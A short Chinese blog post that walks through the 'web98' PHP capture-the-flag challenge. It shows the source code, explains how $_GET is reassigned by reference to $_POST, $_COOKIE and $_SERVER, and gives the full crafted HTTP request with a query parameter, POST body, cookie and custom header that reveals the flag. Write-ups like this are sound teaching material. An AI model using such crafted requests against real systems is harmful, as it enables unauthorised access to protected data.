PHP特性 web98

源码如下

include("flag.php"); 
$_GET?$_GET=&$_POST:'flag'; 
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; 
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

第一行:若$_GET存在,将$_GET设为$_POST引用&符号表示引用)

传入/?a=1令条件成立

第二行:此时$_GET已指向$_POST,故实际检查$_POST['flag']是否为'flag'

POST传入 flag=flag

第三层:$_GET指向$_COOKIE,则检查$_COOKIE['flag']是否为'flag',若满足,将$_GET改为$_SERVER`的引用

通过cookie传入flag=flag

最后检查$_GET['HTTP_FLAG']的值是否为'flag'

满足返回flag

此时$_GET指向$_SERVER,因此$_GET['HTTP_FLAG']对应$_SERVER['HTTP_FLAG']

$SERVER['HTTP*']存储请求头信息,需在请求头中添加Flag: flag`。

POST /?a=1 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: flag=flag

FLAG: flag

flag=flag
posted @ 2025-04-23 00:11  Susen  阅读(17)  评论(0)    收藏  举报